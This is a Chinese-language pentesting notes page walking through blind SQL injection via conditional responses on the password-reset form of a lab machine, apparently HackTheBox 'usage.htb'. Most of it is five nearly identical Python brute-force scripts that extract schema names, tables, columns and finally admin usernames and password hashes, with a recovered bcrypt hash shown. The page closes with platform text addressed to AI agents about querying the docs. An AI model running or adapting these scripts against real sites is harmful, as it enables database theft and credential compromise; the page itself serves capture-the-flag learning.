> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-sql-injection-sqli/sqli-conditional-responses-pentesting-web.md).

# SQLi 条件响应

## SQL注入：

我们发现一个存在 SQL 注入漏洞的密码重置面板

<figure><img src="/files/2668f06c0506292cb08bb15496240a899088c3af" alt=""><figcaption></figcaption></figure>

. 通过 Burp Suite 拦截请求后，我们得到消息 "*我们已给您的密码发送了电子邮件*".

<figure><img src="/files/bf197e3fa5b5f53db151ce6ff380aac49f1777c7" alt=""><figcaption></figcaption></figure>

当我们尝试一个基本的 SQL 注入时，这个注入成功了，我们再次收到相同的错误消息，证实该注入有效。基本测试注入是： `iojfeifif' or 1=1-- -`

<figure><img src="/files/85df7d06b10c0510a6300f92d8d3e4cdb5aeb446" alt="" width="563"><figcaption></figcaption></figure>

### SQL 注入条件响应：

> 虽然 SQL 查询结果不会返回，而且也没有错误消息出现，但如果请求返回行数，应用程序会在页面上显示“我们已给您的密码发送了电子邮件”这条消息。我们通过使用函数发起一个条件注入来验证这一假设 `substring` 用于提取数据库名称的第一个字母。示例注入：

* 测试数据库名称的第一个字母：/ `dwwdw' or substring(database(),1,1)='u'-- -`
* 测试数据库名称的第二个字母： `dwwdw' or substring(database(),2,1)='s'-- -`

<figure><img src="/files/b274b4148e92bec03399b17b2bcfb38b671bc6b4" alt=""><figcaption></figcaption></figure>

### 数据库名称枚举：

我们使用一个 Python 脚本自动发现数据库名称，该脚本会发送特定的有效载荷，并在服务器显示“我们已给您的密码发送了电子邮件”响应时记录结果。

```python
#!/usr/bin/python3
from pwn import *
import requests, signal, sys, time, string
# SQL 注入条件响应
def def_handler(sig, frame):
    print("/n/n[!] 正在退出.../n")
    sys.exit(1)
# SQL 注入条件响应
signal.signal(signal.SIGINT, def_handler)
# SQL 注入条件响应
characters = string.ascii_letters + string.digits + "-/;.$_@#~%&*"
main_url = "http://usage.htb/forget-password"
def sqli():
    headers = {
        'Cookie': 'XSRF-TOKEN=eyJpdiI6IllwUVNJUldmNzc1MWU3Tkl6ZzZxZnc9PSIsInZhbHVlIjoieXh5SmFmZTZTYVJFM2dUUnU5UjVLejZ6MmlNWWIwMnVrYzNRVGtNd09yRDNwUjVxSU9zU0xhL0Ruc3RvL29zU3JWN2pNZVBVYkVTUVJDOTBPNXpxYjhQd2loRzJvbURYWVZPS0Q3QUFUc2EwRjk2amNvcG9SQUo0YjlhYXB2SHUiLCJtYWMiOiI0NTgxMzA2YjljOWEwZDI3NTc2NzQwNzk3MGM2MDgyOWRkNWUxZWFkNGU3NWMyMzM4OWVjNTY0MmY4YWE4MmRiIiwidGFnIjoiIn0%3D; '
                  'laravel_session=eyJpdiI6ImYxM2FTbFU2U2pBMUJyUVpqeldreWc9PSIsInZhbHVlIjoiS1hrc3JWRzI0ajhFYjYyQzIrV3hUMzU1M2ptbkIwVzUzQSs3RkdrcGU2bUl0WUlpTHkvWnpmM1IvZWdxMmFrYWw5SWVPNlNNaExMTU5Gd0xKb202bzh0dm9UWVpuKzB4OXBlZmVabmN3NzJTN21xNjJ0ejA0TkV4VHhrdjFkZXYiLCJtYWMiOiIyMzVmYjZlNzAxMjY0ZDUwMzQ5N2ZiZjMxMzcyZDNhNWM3ODFjNTgyNjU5ZDBiNDdlYzQ0MWMxNDkwMDM0ZTc1IiwidGFnIjoiIn0%3D'
    }
    data = ""
    p1 = log.progress("SQL 注入")
    p1.status("开始 SQL 注入...")
    time.sleep(2)
    p2 = log.progress("提取的数据")
    for position in range(1, 20):
        found_character = False
        for character in characters:
            payload = {
                "_token": "WwUBzPP0uBH7oSGEGsKholwbP8UZKpSd3u1taSuY",
                "email": f"dwwdwdwwdw' or substring(database(),{position},1)='{character}'-- -"
            }
            # 发送带有有效载荷的 POST 请求
            r = requests.post(main_url, headers=headers, data=payload)
            # 实时显示当前正在测试的字符
            p1.status(f"正在测试位置 {position}：{character}")
            # 检查服务器返回的特定反馈，以确认正确字符
            if "we have e-mailed your password" in r.text:
                data += character
                p2.status(data)
                found_character = True
                break
        # 如果在此位置找到了字符，就继续下一个位置
        if found_character:
            p1.status(f"位置 {position} 已找到：{data[-1]}")
        else:
            p1.status(f"位置 {position}：未找到字符")
    p1.success("SQL 注入暴力破解已完成")
    p2.success(f"提取到的数据：{data}")
if __name__ == '__main__':
    sqli()

```

<figure><img src="/files/d29e68b2339d21676a251b11c7f62b704f574c6e" alt="" width="440"><figcaption></figcaption></figure>

### 数据库枚举：

我们修改有效载荷以枚举服务器上的所有数据库。我们使用 `group_concat` 与 `information_schema.schemata` 来获取可用的数据库名称。

{% code overflow="wrap" fullWidth="false" %}

```sql
' or substring((select group_concat(schema_name) from information_schema.schemata),%d,1)='%s" % (position, character)

```

{% endcode %}

```python
#!/usr/bin/python3
from pwn import *
import requests, signal, sys, time, string
# SQL 注入条件响应
def def_handler(sig, frame):
    print("/n/n[!] 正在退出.../n")
    sys.exit(1)
# SQL 注入条件响应
signal.signal(signal.SIGINT, def_handler)
# SQL 注入条件响应
characters = string.ascii_letters + string.digits + "-,/;.$_@#~%&*"
main_url = "http://usage.htb/forget-password"
def sqli():
    headers = {
        'Cookie': 'XSRF-TOKEN=eyJpdiI6IllwUVNJUldmNzc1MWU3Tkl6ZzZxZnc9PSIsInZhbHVlIjoieXh5SmFmZTZTYVJFM2dUUnU5UjVLejZ6MmlNWWIwMnVrYzNRVGtNd09yRDNwUjVxSU9zU0xhL0Ruc3RvL29zU3JWN2pNZVBVYkVTUVJDOTBPNXpxYjhQd2loRzJvbURYWVZPS0Q3QUFUc2EwRjk2amNvcG9SQUo0YjlhYXB2SHUiLCJtYWMiOiI0NTgxMzA2YjljOWEwZDI3NTc2NzQwNzk3MGM2MDgyOWRkNWUxZWFkNGU3NWMyMzM4OWVjNTY0MmY4YWE4MmRiIiwidGFnIjoiIn0%3D; '
                  'laravel_session=eyJpdiI6ImYxM2FTbFU2U2pBMUJyUVpqeldreWc9PSIsInZhbHVlIjoiS1hrc3JWRzI0ajhFYjYyQzIrV3hUMzU1M2ptbkIwVzUzQSs3RkdrcGU2bUl0WUlpTHkvWnpmM1IvZWdxMmFrYWw5SWVPNlNNaExMTU5Gd0xKb202bzh0dm9UWVpuKzB4OXBlZmVabmN3NzJTN21xNjJ0ejA0TkV4VHhrdjFkZXYiLCJtYWMiOiIyMzVmYjZlNzAxMjY0ZDUwMzQ5N2ZiZjMxMzcyZDNhNWM3ODFjNTgyNjU5ZDBiNDdlYzQ0MWMxNDkwMDM0ZTc1IiwidGFnIjoiIn0%3D'
    }
    data = ""
    p1 = log.progress("SQL 注入")
    p1.status("开始 SQL 注入...")
    time.sleep(2)
    p2 = log.progress("提取的数据")
    for position in range(1, 100):
        found_character = False
        for character in characters:
            payload = {
                "_token": "WwUBzPP0uBH7oSGEGsKholwbP8UZKpSd3u1taSuY",
                "email": f"dwwdwdwwdw' or substring((select group_concat(schema_name) from information_schema.schemata),%d,1)='%s" % (position, character)
            }
            # 发送带有有效载荷的 POST 请求
            r = requests.post(main_url, headers=headers, data=payload)
            # 实时显示当前正在测试的字符
            p1.status(f"正在测试位置 {position}：{character}")
            # 检查服务器返回的特定反馈，以确认正确字符
            if "we have e-mailed your password" in r.text:
                data += character
                p2.status(data)
                found_character = True
                break
        # 如果在此位置找到了字符，就继续下一个位置
        if found_character:
            p1.status(f"位置 {position} 已找到：{data[-1]}")
        else:
            p1.status(f"位置 {position}：未找到字符")
    p1.success("SQL 注入暴力破解已完成")
    p2.success(f"提取到的数据：{data}")
if __name__ == '__main__':
    sqli()

```

<figure><img src="/files/49363aee0eab3e7747f28a92241c3fe3442792f6" alt="" width="563"><figcaption></figcaption></figure>

### 数据库的表枚举 `usage_blog`:

在找到 `usage_blog` 数据库后，我们再次修改有效载荷以枚举该数据库中的表。我们使用 `group_concat` 用于检索所有表名的 `usage_blog` 数据库。

{% code overflow="wrap" %}

```sql
' or substring((select group_concat(table_name) from information_schema.tables where table_schema='usage_blog'),%d,1)='%s" % (position, character)

```

{% endcode %}

```python
#!/usr/bin/python3
from pwn import *
import requests, signal, sys, time, string
# SQL 注入条件响应
def def_handler(sig, frame):
    print("/n/n[!] 正在退出.../n")
    sys.exit(1)
# SQL 注入条件响应
signal.signal(signal.SIGINT, def_handler)
# SQL 注入条件响应
characters = string.ascii_letters + string.digits + "-,/.;$_@#~%&*"
main_url = "http://usage.htb/forget-password"
def sqli():
    headers = {
        'Cookie': 'XSRF-TOKEN=eyJpdiI6IllwUVNJUldmNzc1MWU3Tkl6ZzZxZnc9PSIsInZhbHVlIjoieXh5SmFmZTZTYVJFM2dUUnU5UjVLejZ6MmlNWWIwMnVrYzNRVGtNd09yRDNwUjVxSU9zU0xhL0Ruc3RvL29zU3JWN2pNZVBVYkVTUVJDOTBPNXpxYjhQd2loRzJvbURYWVZPS0Q3QUFUc2EwRjk2amNvcG9SQUo0YjlhYXB2SHUiLCJtYWMiOiI0NTgxMzA2YjljOWEwZDI3NTc2NzQwNzk3MGM2MDgyOWRkNWUxZWFkNGU3NWMyMzM4OWVjNTY0MmY4YWE4MmRiIiwidGFnIjoiIn0%3D; '
                  'laravel_session=eyJpdiI6ImYxM2FTbFU2U2pBMUJyUVpqeldreWc9PSIsInZhbHVlIjoiS1hrc3JWRzI0ajhFYjYyQzIrV3hUMzU1M2ptbkIwVzUzQSs3RkdrcGU2bUl0WUlpTHkvWnpmM1IvZWdxMmFrYWw5SWVPNlNNaExMTU5Gd0xKb202bzh0dm9UWVpuKzB4OXBlZmVabmN3NzJTN21xNjJ0ejA0TkV4VHhrdjFkZXYiLCJtYWMiOiIyMzVmYjZlNzAxMjY0ZDUwMzQ5N2ZiZjMxMzcyZDNhNWM3ODFjNTgyNjU5ZDBiNDdlYzQ0MWMxNDkwMDM0ZTc1IiwidGFnIjoiIn0%3D'
    }
    data = ""
    p1 = log.progress("SQL 注入")
    p1.status("开始 SQL 注入...")
    time.sleep(2)
    p2 = log.progress("提取的数据")
    for position in range(1, 1000):
        found_character = False
        for character in characters:
            payload = {
                "_token": "WwUBzPP0uBH7oSGEGsKholwbP8UZKpSd3u1taSuY",
                "email": f"dwwdwdwwdw' or substring((select group_concat(table_name) from information_schema.tables where table_schema='usage_blog'),%d,1)='%s" % (position, character)
            }
            # 发送带有有效载荷的 POST 请求
            r = requests.post(main_url, headers=headers, data=payload)
            # 实时显示当前正在测试的字符
            p1.status(f"正在测试位置 {position}：{character}")
            # 检查服务器返回的特定反馈，以确认正确字符
            if "we have e-mailed your password" in r.text:
                data += character
                p2.status(data)
                found_character = True
                break
        # 如果在此位置找到了字符，就继续下一个位置
        if found_character:
            p1.status(f"位置 {position} 已找到：{data[-1]}")
        else:
            p1.status(f"位置 {position}：未找到字符")
    p1.success("SQL 注入暴力破解已完成")
    p2.success(f"提取到的数据：{data}")
if __name__ == '__main__':
    sqli()

```

<figure><img src="/files/a9a1d7eaccb1ec4f95dca672d01d8ba6ce65439f" alt=""><figcaption></figcaption></figure>

### 表的列枚举 `admin_users`:

一旦确定了该表，我们就针对该表 `admin_users` 来枚举其列。我们再次使用函数 `group_concat` 来检索这个特定表的列名。

{% code overflow="wrap" %}

```sql
' or substring((select group_concat(column_name) from information_schema.columns where table_schema='usage_blog' and table_name='admin_users'),%d,1
)='%s" % (position, character)

```

{% endcode %}

```python
#!/usr/bin/python3
from pwn import *
import requests, signal, sys, time, string
# SQL 注入条件响应
def def_handler(sig, frame):
    print("/n/n[!] 正在退出.../n")
    sys.exit(1)
# SQL 注入条件响应
signal.signal(signal.SIGINT, def_handler)
# SQL 注入条件响应
characters = string.ascii_letters + string.digits + "-,/;$._@#~%&*"
main_url = "http://usage.htb/forget-password"
def sqli():
    headers = {
        'Cookie': 'XSRF-TOKEN=eyJpdiI6IllwUVNJUldmNzc1MWU3Tkl6ZzZxZnc9PSIsInZhbHVlIjoieXh5SmFmZTZTYVJFM2dUUnU5UjVLejZ6MmlNWWIwMnVrYzNRVGtNd09yRDNwUjVxSU9zU0xhL0Ruc3RvL29zU3JWN2pNZVBVYkVTUVJDOTBPNXpxYjhQd2loRzJvbURYWVZPS0Q3QUFUc2EwRjk2amNvcG9SQUo0YjlhYXB2SHUiLCJtYWMiOiI0NTgxMzA2YjljOWEwZDI3NTc2NzQwNzk3MGM2MDgyOWRkNWUxZWFkNGU3NWMyMzM4OWVjNTY0MmY4YWE4MmRiIiwidGFnIjoiIn0%3D; '
                  'laravel_session=eyJpdiI6ImYxM2FTbFU2U2pBMUJyUVpqeldreWc9PSIsInZhbHVlIjoiS1hrc3JWRzI0ajhFYjYyQzIrV3hUMzU1M2ptbkIwVzUzQSs3RkdrcGU2bUl0WUlpTHkvWnpmM1IvZWdxMmFrYWw5SWVPNlNNaExMTU5Gd0xKb202bzh0dm9UWVpuKzB4OXBlZmVabmN3NzJTN21xNjJ0ejA0TkV4VHhrdjFkZXYiLCJtYWMiOiIyMzVmYjZlNzAxMjY0ZDUwMzQ5N2ZiZjMxMzcyZDNhNWM3ODFjNTgyNjU5ZDBiNDdlYzQ0MWMxNDkwMDM0ZTc1IiwidGFnIjoiIn0%3D'
    }
    data = ""
    p1 = log.progress("SQL 注入")
    p1.status("开始 SQL 注入...")
    time.sleep(2)
    p2 = log.progress("提取的数据")
    for position in range(1, 1000):
        found_character = False
        for character in characters:
            payload = {
                "_token": "WwUBzPP0uBH7oSGEGsKholwbP8UZKpSd3u1taSuY",
                "email": f"dwwdwdwwdw' or substring((select group_concat(column_name) from information_schema.columns where table_schema='usage_blog' and table_name='admin_users'),%d,1)='%s" % (position, character)
            }
            # 发送带有有效载荷的 POST 请求
            r = requests.post(main_url, headers=headers, data=payload)
            # 实时显示当前正在测试的字符
            p1.status(f"正在测试位置 {position}：{character}")
            # 检查服务器返回的特定反馈，以确认正确字符
            if "we have e-mailed your password" in r.text:
                data += character
                p2.status(data)
                found_character = True
                break
        # 如果在此位置找到了字符，就继续下一个位置
        if found_character:
            p1.status(f"位置 {position} 已找到：{data[-1]}")
        else:
            p1.status(f"位置 {position}：未找到字符")
    p1.success("SQL 注入暴力破解已完成")
    p2.success(f"提取到的数据：{data}")
if __name__ == '__main__':
    sqli()

```

<figure><img src="/files/90c31192ead45fd6c9a324ecc1f6043889d2882b" alt=""><figcaption></figcaption></figure>

### 显示 `username` 和 `密码`:

为了显示表中用户的凭据和密码 `admin_users`，SQL 查询将被修改为连接这些字段 `username` 和 `密码`

{% code overflow="wrap" %}

```sql
' or substring((select group_concat((BINARY username), ':', (BINARY password)) from admin_users),%d,1)='%s" % (position, character)

```

{% endcode %}

```python
#!/usr/bin/python3
from pwn import *
import requests, signal, sys, time, string
# SQL 注入条件响应
def def_handler(sig, frame):
    print("/n/n[!] 正在退出.../n")
    sys.exit(1)
# SQL 注入条件响应
signal.signal(signal.SIGINT, def_handler)
# SQL 注入条件响应
characters = string.ascii_letters + string.digits + "-:.,/;$_@#~%&*"
main_url = "http://usage.htb/forget-password"
def sqli():
    headers = {
        'Cookie': 'XSRF-TOKEN=eyJpdiI6IllwUVNJUldmNzc1MWU3Tkl6ZzZxZnc9PSIsInZhbHVlIjoieXh5SmFmZTZTYVJFM2dUUnU5UjVLejZ6MmlNWWIwMnVrYzNRVGtNd09yRDNwUjVxSU9zU0xhL0Ruc3RvL29zU3JWN2pNZVBVYkVTUVJDOTBPNXpxYjhQd2loRzJvbURYWVZPS0Q3QUFUc2EwRjk2amNvcG9SQUo0YjlhYXB2SHUiLCJtYWMiOiI0NTgxMzA2YjljOWEwZDI3NTc2NzQwNzk3MGM2MDgyOWRkNWUxZWFkNGU3NWMyMzM4OWVjNTY0MmY4YWE4MmRiIiwidGFnIjoiIn0%3D; '
                  'laravel_session=eyJpdiI6ImYxM2FTbFU2U2pBMUJyUVpqeldreWc9PSIsInZhbHVlIjoiS1hrc3JWRzI0ajhFYjYyQzIrV3hUMzU1M2ptbkIwVzUzQSs3RkdrcGU2bUl0WUlpTHkvWnpmM1IvZWdxMmFrYWw5SWVPNlNNaExMTU5Gd0xKb202bzh0dm9UWVpuKzB4OXBlZmVabmN3NzJTN21xNjJ0ejA0TkV4VHhrdjFkZXYiLCJtYWMiOiIyMzVmYjZlNzAxMjY0ZDUwMzQ5N2ZiZjMxMzcyZDNhNWM3ODFjNTgyNjU5ZDBiNDdlYzQ0MWMxNDkwMDM0ZTc1IiwidGFnIjoiIn0%3D'
    }
    data = ""
    p1 = log.progress("SQL 注入")
    p1.status("开始 SQL 注入...")
    time.sleep(2)
    p2 = log.progress("提取的数据")
    for position in range(1, 1000):
        found_character = False
        for character in characters:
            payload = {
                "_token": "WwUBzPP0uBH7oSGEGsKholwbP8UZKpSd3u1taSuY",
                "email": f"dwwdwdwwdw' or substring((select group_concat((BINARY username), ':', (BINARY password)) from admin_users),%d,1)='%s" % (position, character)
            }
            # 发送带有有效载荷的 POST 请求
            r = requests.post(main_url, headers=headers, data=payload)
            # 实时显示当前正在测试的字符
            p1.status(f"正在测试位置 {position}：{character}")
            # 检查服务器返回的特定反馈，以确认正确字符
            if "we have e-mailed your password" in r.text:
                data += character
                p2.status(data)
                found_character = True
                break
        # 如果在此位置找到了字符，就继续下一个位置
        if found_character:
            p1.status(f"位置 {position} 已找到：{data[-1]}")
        else:
            p1.status(f"位置 {position}：未找到字符")
    p1.success("SQL 注入暴力破解已完成")
    p2.success(f"提取到的数据：{data}")
if __name__ == '__main__':
    sqli()

```

`admin:$2y$10$ohq2kLpBH/ri.P5wR0P3UOmc24Ydvl9DA9H1S6ooOMgH5xVfUPrL2`

<figure><img src="/files/473db6a1136f01e7c773d428ec7eb3e123b5eaac" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-sql-injection-sqli/sqli-conditional-responses-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
